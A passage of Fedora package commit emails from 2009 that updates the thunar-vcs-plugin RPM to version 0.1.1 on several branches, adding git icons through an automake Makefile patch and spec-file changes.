-	  $(INSTALL_DATA) $$files "$(DESTDIR)$(appsdir)" || exit $$?; \
+	  echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(iconsdir)'"; \
+	  $(INSTALL_DATA) $$files "$(DESTDIR)$(iconsdir)" || exit $$?; \
 	done
 
-uninstall-appsDATA:
+uninstall-iconsDATA:
 	@$(NORMAL_UNINSTALL)
-	@list='$(apps_DATA)'; test -n "$(appsdir)" || list=; \
+	@list='$(icons_DATA)'; test -n "$(iconsdir)" || list=; \
 	files=`for p in $$list; do echo $$p; done | sed -e 's|^.*/||'`; \
 	test -n "$$files" || exit 0; \
-	echo " ( cd '$(DESTDIR)$(appsdir)' && rm -f" $$files ")"; \
-	cd "$(DESTDIR)$(appsdir)" && rm -f $$files
+	echo " ( cd '$(DESTDIR)$(iconsdir)' && rm -f" $$files ")"; \
+	cd "$(DESTDIR)$(iconsdir)" && rm -f $$files
 tags: TAGS
 TAGS:
 
@@ -344,7 +347,7 @@
 check: check-am
 all-am: Makefile $(DATA)
 installdirs:
-	for dir in "$(DESTDIR)$(appsdir)"; do \
+	for dir in "$(DESTDIR)$(iconsdir)"; do \
 	  test -z "$$dir" || $(MKDIR_P) "$$dir"; \
 	done
 install: install-am
@@ -392,7 +395,7 @@
 
 info-am:
 
-install-data-am: install-appsDATA
+install-data-am: install-iconsDATA
 
 install-dvi: install-dvi-am
 
@@ -436,21 +439,21 @@
 
 ps-am:
 
-uninstall-am: uninstall-appsDATA
+uninstall-am: uninstall-iconsDATA
 
 .MAKE: install-am install-strip
 
 .PHONY: all all-am check check-am clean clean-generic clean-libtool \
 	distclean distclean-generic distclean-libtool distdir dvi \
 	dvi-am html html-am info info-am install install-am \
-	install-appsDATA install-data install-data-am install-dvi \
+	install-iconsDATA install-data install-data-am install-dvi \
 	install-dvi-am install-exec install-exec-am install-html \
 	install-html-am install-info install-info-am install-man \
 	install-pdf install-pdf-am install-ps install-ps-am \
 	install-strip installcheck installcheck-am installdirs \
 	maintainer-clean maintainer-clean-generic mostlyclean \
 	mostlyclean-generic mostlyclean-libtool pdf pdf-am ps ps-am \
-	uninstall uninstall-am uninstall-appsDATA
+	uninstall uninstall-am uninstall-iconsDATA
 
 
 # vi:set ts=8 sw=8 noet ai nocindent syntax=automake:
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/24x24/Makefile.am thunar-vcs-plugin-0.1.1/icons/24x24/Makefile.am
--- thunar-vcs-plugin-0.1.1.orig/icons/24x24/Makefile.am	2009-08-14 23:43:30.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/24x24/Makefile.am	2009-10-24 17:04:43.000000000 +0200
@@ -1,7 +1,9 @@
 iconsdir = $(datadir)/icons/hicolor/24x24/apps
 icons_DATA =								\
+	git.png								\
 	subversion.png
 
 EXTRA_DIST =								\
 	$(icons_DATA)
 
+# vi:set ts=8 sw=8 noet ai nocindent syntax=automake:
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/24x24/Makefile.in thunar-vcs-plugin-0.1.1/icons/24x24/Makefile.in
--- thunar-vcs-plugin-0.1.1.orig/icons/24x24/Makefile.in	2009-10-23 21:20:36.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/24x24/Makefile.in	2009-10-24 17:06:34.000000000 +0200
@@ -241,6 +241,7 @@
 top_srcdir = @top_srcdir@
 iconsdir = $(datadir)/icons/hicolor/24x24/apps
 icons_DATA = \
+	git.png								\
 	subversion.png
 
 EXTRA_DIST = \
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/48x48/Makefile.am thunar-vcs-plugin-0.1.1/icons/48x48/Makefile.am
--- thunar-vcs-plugin-0.1.1.orig/icons/48x48/Makefile.am	2009-08-14 23:43:30.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/48x48/Makefile.am	2009-10-24 17:04:43.000000000 +0200
@@ -1,7 +1,9 @@
 iconsdir = $(datadir)/icons/hicolor/48x48/apps
 icons_DATA =								\
+	git.png								\
 	subversion.png
 
 EXTRA_DIST =								\
 	$(icons_DATA)
 
+# vi:set ts=8 sw=8 noet ai nocindent syntax=automake:
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/48x48/Makefile.in thunar-vcs-plugin-0.1.1/icons/48x48/Makefile.in
--- thunar-vcs-plugin-0.1.1.orig/icons/48x48/Makefile.in	2009-10-23 21:20:36.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/48x48/Makefile.in	2009-10-24 17:05:45.000000000 +0200
@@ -241,6 +241,7 @@
 top_srcdir = @top_srcdir@
 iconsdir = $(datadir)/icons/hicolor/48x48/apps
 icons_DATA = \
+	git.png								\
 	subversion.png
 
 EXTRA_DIST = \


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/F-10/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	19 Oct 2009 17:01:21 -0000	1.2
+++ .cvsignore	24 Oct 2009 15:40:44 -0000	1.3
@@ -1 +1,2 @@
-thunar-vcs-plugin-0.1.0.tar.bz2
+thunar-vcs-plugin-0.1.1.tar.bz2
+git-icons.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/F-10/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	19 Oct 2009 17:01:21 -0000	1.2
+++ sources	24 Oct 2009 15:40:44 -0000	1.3
@@ -1 +1,2 @@
-90d1f2d414c2b4b8bf211a8a6b13b358  thunar-vcs-plugin-0.1.0.tar.bz2
+00b3ea668a11136644aaa588318fb0f4  thunar-vcs-plugin-0.1.1.tar.bz2
+402d74f1e34b6ca3a53d42f71b32079b  git-icons.tar.gz


Index: thunar-vcs-plugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/F-10/thunar-vcs-plugin.spec,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- thunar-vcs-plugin.spec	21 Oct 2009 16:42:50 -0000	1.3
+++ thunar-vcs-plugin.spec	24 Oct 2009 15:40:44 -0000	1.4
@@ -1,14 +1,19 @@
 # Review: https://bugzilla.redhat.com/show_bug.cgi?id=529465
 
 Name:           thunar-vcs-plugin
-Version:        0.1.0
-Release:        1%{?dist}.1
-Summary:        SVN integration for the Thunar filemanager
+Version:        0.1.1
+Release:        1%{?dist}
+Summary:        Version Contol System plugin for the Thunar filemanager
 
 Group:          User Interface/Desktops
 License:        GPLv2+
 URL:            http://goodies.xfce.org/projects/thunar-plugins/%{name}
 Source0:        http://archive.xfce.org/src/thunar-plugins/%{name}/0.1/%{name}-%{version}.tar.bz2
+# Created some icons and sent them upstream
+Source1:        git-icons.tar.gz
+# Upstream changed the Makefile to install the new icons
+# http://git.xfce.org/thunar-plugins/thunar-vcs-plugin/commit/?id=3aa180a79c07d4855f6c779ac951d047dc164b10
+Patch0:         thunar-vcs-plugin-0.1.1-git-icons.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  Thunar-devel >= 0.4.0
@@ -20,28 +25,29 @@ BuildRequires:  uuid-devel
 BuildRequires:  libuuid-devel
 %endif
 BuildRequires:  gettext, intltool
-Requires:       Thunar >= 0.9.0
+Requires:       Thunar >= 1.0.0
 Requires:       subversion
 # Obsolete thunar-svn-plugin for smooth upgrades
 Provides:       thunar-svn-plugin = %{version}-%{release}
 Obsoletes:      thunar-svn-plugin < 0.0.4-1
 
 %description
-The Thunar VCS Plugin adds Subversion actions to the context menu of Thunar. 
-This gives a SVN integration to Thunar. The current features are:
-* Most of the svn action: add, blame, checkout, cleanup, commit, copy, delete,
-  export, import, lock, log, move, properties, relocate, resolved, revert, 
-  status, switch, unlock and update.
-* Subversion info in file properties dialog.
+The Thunar VCS Plugin adds Subversion and GIT actions to the context menu of 
+Thunar. This gives a VCS integration to Thunar. The current features are:
+* Most of the SVN actions: add, blame, checkout, cleanup, commit, copy, 
+  delete, export, import, lock, log, move, properties, relocate, resolved, 
+  revert, status, switch, unlock and update
+* Subversion info in file properties dialog
+* Basic GIT actions: add, branch, clone, log, reset, status
 
 This project was formerly known as Thunar SVN Plugin.
 
 %prep
-%setup -q
-
+%setup -q -a 1
+%patch0 -p1 -b .git-icons
 
 %build
-%configure --disable-static
+%configure --disable-static --enable-subversion --enable-git
 # remove rpath
 sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
 sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
@@ -80,12 +86,15 @@ gtk-update-icon-cache %{_datadir}/icons/
 %doc AUTHORS COPYING ChangeLog NEWS README
 %{_libdir}/thunarx-1/%{name}.so
 %{_libexecdir}/tvp-svn-helper
+%{_libexecdir}/tvp-git-helper
 %{_datadir}/icons/hicolor/*/apps/subversion.png
+%{_datadir}/icons/hicolor/*/apps/git.png
 
 
 %changelog
-* Wed Oct 21 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.0-1.1
-- Fix Thunar dependency 
+* Sat Oct 24 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.1-1
+- Update to 0.1.1
+- Include git icons
 
 * Wed Sep 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.0-1
 - Initial Fedora package



From cwickert at fedoraproject.org  Sat Oct 24 15:40:44 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 24 Oct 2009 15:40:44 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin/F-12 thunar-vcs-plugin-0.1.1-git-icons.patch,
	NONE, 1.1 .cvsignore, 1.2, 1.3 sources, 1.2,
	1.3 thunar-vcs-plugin.spec, 1.2, 1.3
Message-ID: <20091024154044.C9AAD11C02A6@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/thunar-vcs-plugin/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4698/F-12

Modified Files:
	.cvsignore sources thunar-vcs-plugin.spec 
Added Files:
	thunar-vcs-plugin-0.1.1-git-icons.patch 
Log Message:
* Sat Oct 24 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.1-1
- Update to 0.1.1
- Include git icons


thunar-vcs-plugin-0.1.1-git-icons.patch:
 16x16/Makefile.am |    8 ++++----
 16x16/Makefile.in |   41 ++++++++++++++++++++++-------------------
 24x24/Makefile.am |    2 ++
 24x24/Makefile.in |    1 +
 48x48/Makefile.am |    2 ++
 48x48/Makefile.in |    1 +
 6 files changed, 32 insertions(+), 23 deletions(-)

--- NEW FILE thunar-vcs-plugin-0.1.1-git-icons.patch ---
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/16x16/Makefile.am thunar-vcs-plugin-0.1.1/icons/16x16/Makefile.am
--- thunar-vcs-plugin-0.1.1.orig/icons/16x16/Makefile.am	2009-08-14 23:43:30.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/16x16/Makefile.am	2009-10-24 17:12:49.000000000 +0200
@@ -1,8 +1,8 @@
-
-appsdir = $(datadir)/icons/hicolor/16x16/apps
-apps_DATA =
+iconsdir = $(datadir)/icons/hicolor/48x48/apps
+icons_DATA =								\
+	git.png								
 
 EXTRA_DIST =								\
-	$(apps_DATA)
+	$(icons_DATA)
 
 # vi:set ts=8 sw=8 noet ai nocindent syntax=automake:
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/16x16/Makefile.in thunar-vcs-plugin-0.1.1/icons/16x16/Makefile.in
--- thunar-vcs-plugin-0.1.1.orig/icons/16x16/Makefile.in	2009-10-23 21:20:36.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/16x16/Makefile.in	2009-10-24 17:19:43.000000000 +0200
@@ -68,8 +68,8 @@
 am__base_list = \
   sed '$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;s/\n/ /g' | \
   sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g'
-am__installdirs = "$(DESTDIR)$(appsdir)"
-DATA = $(apps_DATA)
+am__installdirs = "$(DESTDIR)$(iconsdir)"
+DATA = $(icons_DATA)
 DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
 ACLOCAL = @ACLOCAL@
 ALL_LINGUAS = @ALL_LINGUAS@
@@ -239,10 +239,13 @@
 top_build_prefix = @top_build_prefix@
 top_builddir = @top_builddir@
 top_srcdir = @top_srcdir@
-appsdir = $(datadir)/icons/hicolor/16x16/apps
-apps_DATA = 
+iconsdir = $(datadir)/icons/hicolor/16x16/apps
+icons_DATA = \
+	git.png								\
+	subversion.png
+
 EXTRA_DIST = \
-	$(apps_DATA)
+	$(icons_DATA)
 
 all: all-am
 
@@ -283,26 +286,26 @@
 
 clean-libtool:
 	-rm -rf .libs _libs
-install-appsDATA: $(apps_DATA)
+install-iconsDATA: $(icons_DATA)
 	@$(NORMAL_INSTALL)
-	test -z "$(appsdir)" || $(MKDIR_P) "$(DESTDIR)$(appsdir)"
-	@list='$(apps_DATA)'; test -n "$(appsdir)" || list=; \
+	test -z "$(iconsdir)" || $(MKDIR_P) "$(DESTDIR)$(iconsdir)"
+	@list='$(icons_DATA)'; test -n "$(iconsdir)" || list=; \
 	for p in $$list; do \
 	  if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \
 	  echo "$$d$$p"; \
 	done | $(am__base_list) | \
 	while read files; do \
-	  echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(appsdir)'"; \
-	  $(INSTALL_DATA) $$files "$(DESTDIR)$(appsdir)" || exit $$?; \
+	  echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(iconsdir)'"; \
+	  $(INSTALL_DATA) $$files "$(DESTDIR)$(iconsdir)" || exit $$?; \
 	done
 
-uninstall-appsDATA:
+uninstall-iconsDATA:
 	@$(NORMAL_UNINSTALL)
-	@list='$(apps_DATA)'; test -n "$(appsdir)" || list=; \
+	@list='$(icons_DATA)'; test -n "$(iconsdir)" || list=; \
 	files=`for p in $$list; do echo $$p; done | sed -e 's|^.*/||'`; \
 	test -n "$$files" || exit 0; \
-	echo " ( cd '$(DESTDIR)$(appsdir)' && rm -f" $$files ")"; \
-	cd "$(DESTDIR)$(appsdir)" && rm -f $$files
+	echo " ( cd '$(DESTDIR)$(iconsdir)' && rm -f" $$files ")"; \
+	cd "$(DESTDIR)$(iconsdir)" && rm -f $$files
 tags: TAGS
 TAGS:
 
@@ -344,7 +347,7 @@
 check: check-am
 all-am: Makefile $(DATA)
 installdirs:
-	for dir in "$(DESTDIR)$(appsdir)"; do \
+	for dir in "$(DESTDIR)$(iconsdir)"; do \
 	  test -z "$$dir" || $(MKDIR_P) "$$dir"; \
 	done
 install: install-am
@@ -392,7 +395,7 @@
 
 info-am:
 
-install-data-am: install-appsDATA
+install-data-am: install-iconsDATA
 
 install-dvi: install-dvi-am
 
@@ -436,21 +439,21 @@
 
 ps-am:
 
-uninstall-am: uninstall-appsDATA
+uninstall-am: uninstall-iconsDATA
 
 .MAKE: install-am install-strip
 
 .PHONY: all all-am check check-am clean clean-generic clean-libtool \
 	distclean distclean-generic distclean-libtool distdir dvi \
 	dvi-am html html-am info info-am install install-am \
-	install-appsDATA install-data install-data-am install-dvi \
+	install-iconsDATA install-data install-data-am install-dvi \
 	install-dvi-am install-exec install-exec-am install-html \
 	install-html-am install-info install-info-am install-man \
 	install-pdf install-pdf-am install-ps install-ps-am \
 	install-strip installcheck installcheck-am installdirs \
 	maintainer-clean maintainer-clean-generic mostlyclean \
 	mostlyclean-generic mostlyclean-libtool pdf pdf-am ps ps-am \
-	uninstall uninstall-am uninstall-appsDATA
+	uninstall uninstall-am uninstall-iconsDATA
 
 
 # vi:set ts=8 sw=8 noet ai nocindent syntax=automake:
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/24x24/Makefile.am thunar-vcs-plugin-0.1.1/icons/24x24/Makefile.am
--- thunar-vcs-plugin-0.1.1.orig/icons/24x24/Makefile.am	2009-08-14 23:43:30.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/24x24/Makefile.am	2009-10-24 17:04:43.000000000 +0200
@@ -1,7 +1,9 @@
 iconsdir = $(datadir)/icons/hicolor/24x24/apps
 icons_DATA =								\
+	git.png								\
 	subversion.png
 
 EXTRA_DIST =								\
 	$(icons_DATA)
 
+# vi:set ts=8 sw=8 noet ai nocindent syntax=automake:
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/24x24/Makefile.in thunar-vcs-plugin-0.1.1/icons/24x24/Makefile.in
--- thunar-vcs-plugin-0.1.1.orig/icons/24x24/Makefile.in	2009-10-23 21:20:36.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/24x24/Makefile.in	2009-10-24 17:06:34.000000000 +0200
@@ -241,6 +241,7 @@
 top_srcdir = @top_srcdir@
 iconsdir = $(datadir)/icons/hicolor/24x24/apps
 icons_DATA = \
+	git.png								\
 	subversion.png
 
 EXTRA_DIST = \
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/48x48/Makefile.am thunar-vcs-plugin-0.1.1/icons/48x48/Makefile.am
--- thunar-vcs-plugin-0.1.1.orig/icons/48x48/Makefile.am	2009-08-14 23:43:30.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/48x48/Makefile.am	2009-10-24 17:04:43.000000000 +0200
@@ -1,7 +1,9 @@
 iconsdir = $(datadir)/icons/hicolor/48x48/apps
 icons_DATA =								\
+	git.png								\
 	subversion.png
 
 EXTRA_DIST =								\
 	$(icons_DATA)
 
+# vi:set ts=8 sw=8 noet ai nocindent syntax=automake:
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/48x48/Makefile.in thunar-vcs-plugin-0.1.1/icons/48x48/Makefile.in
--- thunar-vcs-plugin-0.1.1.orig/icons/48x48/Makefile.in	2009-10-23 21:20:36.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/48x48/Makefile.in	2009-10-24 17:05:45.000000000 +0200
@@ -241,6 +241,7 @@
 top_srcdir = @top_srcdir@
 iconsdir = $(datadir)/icons/hicolor/48x48/apps
 icons_DATA = \
+	git.png								\
 	subversion.png
 
 EXTRA_DIST = \


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	19 Oct 2009 17:01:21 -0000	1.2
+++ .cvsignore	24 Oct 2009 15:40:44 -0000	1.3
@@ -1 +1,2 @@
-thunar-vcs-plugin-0.1.0.tar.bz2
+thunar-vcs-plugin-0.1.1.tar.bz2
+git-icons.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	19 Oct 2009 17:01:21 -0000	1.2
+++ sources	24 Oct 2009 15:40:44 -0000	1.3
@@ -1 +1,2 @@
-90d1f2d414c2b4b8bf211a8a6b13b358  thunar-vcs-plugin-0.1.0.tar.bz2
+00b3ea668a11136644aaa588318fb0f4  thunar-vcs-plugin-0.1.1.tar.bz2
+402d74f1e34b6ca3a53d42f71b32079b  git-icons.tar.gz


Index: thunar-vcs-plugin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/thunar-vcs-plugin/F-12/thunar-vcs-plugin.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- thunar-vcs-plugin.spec	19 Oct 2009 23:06:21 -0000	1.2
+++ thunar-vcs-plugin.spec	24 Oct 2009 15:40:44 -0000	1.3
@@ -1,14 +1,19 @@
 # Review: https://bugzilla.redhat.com/show_bug.cgi?id=529465
 
 Name:           thunar-vcs-plugin
-Version:        0.1.0
+Version:        0.1.1
 Release:        1%{?dist}
-Summary:        SVN integration for the Thunar filemanager
+Summary:        Version Contol System plugin for the Thunar filemanager
 
 Group:          User Interface/Desktops
 License:        GPLv2+
 URL:            http://goodies.xfce.org/projects/thunar-plugins/%{name}
 Source0:        http://archive.xfce.org/src/thunar-plugins/%{name}/0.1/%{name}-%{version}.tar.bz2
+# Created some icons and sent them upstream
+Source1:        git-icons.tar.gz
+# Upstream changed the Makefile to install the new icons
+# http://git.xfce.org/thunar-plugins/thunar-vcs-plugin/commit/?id=3aa180a79c07d4855f6c779ac951d047dc164b10
+Patch0:         thunar-vcs-plugin-0.1.1-git-icons.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 BuildRequires:  Thunar-devel >= 0.4.0
@@ -27,21 +32,22 @@ Provides:       thunar-svn-plugin = %{ve
 Obsoletes:      thunar-svn-plugin < 0.0.4-1
 
 %description
-The Thunar VCS Plugin adds Subversion actions to the context menu of Thunar. 
-This gives a SVN integration to Thunar. The current features are:
-* Most of the svn action: add, blame, checkout, cleanup, commit, copy, delete,
-  export, import, lock, log, move, properties, relocate, resolved, revert, 
-  status, switch, unlock and update.
-* Subversion info in file properties dialog.
+The Thunar VCS Plugin adds Subversion and GIT actions to the context menu of 
+Thunar. This gives a VCS integration to Thunar. The current features are:
+* Most of the SVN actions: add, blame, checkout, cleanup, commit, copy, 
+  delete, export, import, lock, log, move, properties, relocate, resolved, 
+  revert, status, switch, unlock and update
+* Subversion info in file properties dialog
+* Basic GIT actions: add, branch, clone, log, reset, status
 
 This project was formerly known as Thunar SVN Plugin.
 
 %prep
-%setup -q
-
+%setup -q -a 1
+%patch0 -p1 -b .git-icons
 
 %build
-%configure --disable-static
+%configure --disable-static --enable-subversion --enable-git
 # remove rpath
 sed -i 's|^hardcode_libdir_flag_spec=.*|hardcode_libdir_flag_spec=""|g' libtool
 sed -i 's|^runpath_var=LD_RUN_PATH|runpath_var=DIE_RPATH_DIE|g' libtool
@@ -80,9 +86,15 @@ gtk-update-icon-cache %{_datadir}/icons/
 %doc AUTHORS COPYING ChangeLog NEWS README
 %{_libdir}/thunarx-1/%{name}.so
 %{_libexecdir}/tvp-svn-helper
+%{_libexecdir}/tvp-git-helper
 %{_datadir}/icons/hicolor/*/apps/subversion.png
+%{_datadir}/icons/hicolor/*/apps/git.png
 
 
 %changelog
+* Sat Oct 24 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.1-1
+- Update to 0.1.1
+- Include git icons
+
 * Wed Sep 30 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.0-1
 - Initial Fedora package



From cwickert at fedoraproject.org  Sat Oct 24 15:40:44 2009
From: cwickert at fedoraproject.org (Christoph Wickert)
Date: Sat, 24 Oct 2009 15:40:44 +0000 (UTC)
Subject: rpms/thunar-vcs-plugin/F-11 thunar-vcs-plugin-0.1.1-git-icons.patch,
	NONE, 1.1 .cvsignore, 1.2, 1.3 sources, 1.2,
	1.3 thunar-vcs-plugin.spec, 1.2, 1.3
Message-ID: <20091024154044.9BAD211C02A6@cvs1.fedora.phx.redhat.com>

Author: cwickert

Update of /cvs/pkgs/rpms/thunar-vcs-plugin/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4698/F-11

Modified Files:
	.cvsignore sources thunar-vcs-plugin.spec 
Added Files:
	thunar-vcs-plugin-0.1.1-git-icons.patch 
Log Message:
* Sat Oct 24 2009 Christoph Wickert <cwickert at fedoraproject.org> - 0.1.1-1
- Update to 0.1.1
- Include git icons


thunar-vcs-plugin-0.1.1-git-icons.patch:
 16x16/Makefile.am |    8 ++++----
 16x16/Makefile.in |   41 ++++++++++++++++++++++-------------------
 24x24/Makefile.am |    2 ++
 24x24/Makefile.in |    1 +
 48x48/Makefile.am |    2 ++
 48x48/Makefile.in |    1 +
 6 files changed, 32 insertions(+), 23 deletions(-)

--- NEW FILE thunar-vcs-plugin-0.1.1-git-icons.patch ---
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/16x16/Makefile.am thunar-vcs-plugin-0.1.1/icons/16x16/Makefile.am
--- thunar-vcs-plugin-0.1.1.orig/icons/16x16/Makefile.am	2009-08-14 23:43:30.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/16x16/Makefile.am	2009-10-24 17:12:49.000000000 +0200
@@ -1,8 +1,8 @@
-
-appsdir = $(datadir)/icons/hicolor/16x16/apps
-apps_DATA =
+iconsdir = $(datadir)/icons/hicolor/48x48/apps
+icons_DATA =								\
+	git.png								
 
 EXTRA_DIST =								\
-	$(apps_DATA)
+	$(icons_DATA)
 
 # vi:set ts=8 sw=8 noet ai nocindent syntax=automake:
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/16x16/Makefile.in thunar-vcs-plugin-0.1.1/icons/16x16/Makefile.in
--- thunar-vcs-plugin-0.1.1.orig/icons/16x16/Makefile.in	2009-10-23 21:20:36.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/16x16/Makefile.in	2009-10-24 17:19:43.000000000 +0200
@@ -68,8 +68,8 @@
 am__base_list = \
   sed '$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;$$!N;s/\n/ /g' | \
   sed '$$!N;$$!N;$$!N;$$!N;s/\n/ /g'
-am__installdirs = "$(DESTDIR)$(appsdir)"
-DATA = $(apps_DATA)
+am__installdirs = "$(DESTDIR)$(iconsdir)"
+DATA = $(icons_DATA)
 DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
 ACLOCAL = @ACLOCAL@
 ALL_LINGUAS = @ALL_LINGUAS@
@@ -239,10 +239,13 @@
 top_build_prefix = @top_build_prefix@
 top_builddir = @top_builddir@
 top_srcdir = @top_srcdir@
-appsdir = $(datadir)/icons/hicolor/16x16/apps
-apps_DATA = 
+iconsdir = $(datadir)/icons/hicolor/16x16/apps
+icons_DATA = \
+	git.png								\
+	subversion.png
+
 EXTRA_DIST = \
-	$(apps_DATA)
+	$(icons_DATA)
 
 all: all-am
 
@@ -283,26 +286,26 @@
 
 clean-libtool:
 	-rm -rf .libs _libs
-install-appsDATA: $(apps_DATA)
+install-iconsDATA: $(icons_DATA)
 	@$(NORMAL_INSTALL)
-	test -z "$(appsdir)" || $(MKDIR_P) "$(DESTDIR)$(appsdir)"
-	@list='$(apps_DATA)'; test -n "$(appsdir)" || list=; \
+	test -z "$(iconsdir)" || $(MKDIR_P) "$(DESTDIR)$(iconsdir)"
+	@list='$(icons_DATA)'; test -n "$(iconsdir)" || list=; \
 	for p in $$list; do \
 	  if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \
 	  echo "$$d$$p"; \
 	done | $(am__base_list) | \
 	while read files; do \
-	  echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(appsdir)'"; \
-	  $(INSTALL_DATA) $$files "$(DESTDIR)$(appsdir)" || exit $$?; \
+	  echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(iconsdir)'"; \
+	  $(INSTALL_DATA) $$files "$(DESTDIR)$(iconsdir)" || exit $$?; \
 	done
 
-uninstall-appsDATA:
+uninstall-iconsDATA:
 	@$(NORMAL_UNINSTALL)
-	@list='$(apps_DATA)'; test -n "$(appsdir)" || list=; \
+	@list='$(icons_DATA)'; test -n "$(iconsdir)" || list=; \
 	files=`for p in $$list; do echo $$p; done | sed -e 's|^.*/||'`; \
 	test -n "$$files" || exit 0; \
-	echo " ( cd '$(DESTDIR)$(appsdir)' && rm -f" $$files ")"; \
-	cd "$(DESTDIR)$(appsdir)" && rm -f $$files
+	echo " ( cd '$(DESTDIR)$(iconsdir)' && rm -f" $$files ")"; \
+	cd "$(DESTDIR)$(iconsdir)" && rm -f $$files
 tags: TAGS
 TAGS:
 
@@ -344,7 +347,7 @@
 check: check-am
 all-am: Makefile $(DATA)
 installdirs:
-	for dir in "$(DESTDIR)$(appsdir)"; do \
+	for dir in "$(DESTDIR)$(iconsdir)"; do \
 	  test -z "$$dir" || $(MKDIR_P) "$$dir"; \
 	done
 install: install-am
@@ -392,7 +395,7 @@
 
 info-am:
 
-install-data-am: install-appsDATA
+install-data-am: install-iconsDATA
 
 install-dvi: install-dvi-am
 
@@ -436,21 +439,21 @@
 
 ps-am:
 
-uninstall-am: uninstall-appsDATA
+uninstall-am: uninstall-iconsDATA
 
 .MAKE: install-am install-strip
 
 .PHONY: all all-am check check-am clean clean-generic clean-libtool \
 	distclean distclean-generic distclean-libtool distdir dvi \
 	dvi-am html html-am info info-am install install-am \
-	install-appsDATA install-data install-data-am install-dvi \
+	install-iconsDATA install-data install-data-am install-dvi \
 	install-dvi-am install-exec install-exec-am install-html \
 	install-html-am install-info install-info-am install-man \
 	install-pdf install-pdf-am install-ps install-ps-am \
 	install-strip installcheck installcheck-am installdirs \
 	maintainer-clean maintainer-clean-generic mostlyclean \
 	mostlyclean-generic mostlyclean-libtool pdf pdf-am ps ps-am \
-	uninstall uninstall-am uninstall-appsDATA
+	uninstall uninstall-am uninstall-iconsDATA
 
 
 # vi:set ts=8 sw=8 noet ai nocindent syntax=automake:
diff -dur thunar-vcs-plugin-0.1.1.orig/icons/24x24/Makefile.am thunar-vcs-plugin-0.1.1/icons/24x24/Makefile.am
--- thunar-vcs-plugin-0.1.1.orig/icons/24x24/Makefile.am	2009-08-14 23:43:30.000000000 +0200
+++ thunar-vcs-plugin-0.1.1/icons/24x24/Makefile.am	2009-10-24 17:04:43.000000000 +0200
@@ -1,7 +1,9 @@
 iconsdir = $(datadir)/icons/hicolor/24x24/apps
 icons_DATA =								\
+	git.png								\
 	subversion.png
 
 EXTRA_DIST =								\
 	$(icons_DATA)
 
+# vi:set ts=8 sw=8 noet ai nocindent syntax=automake:
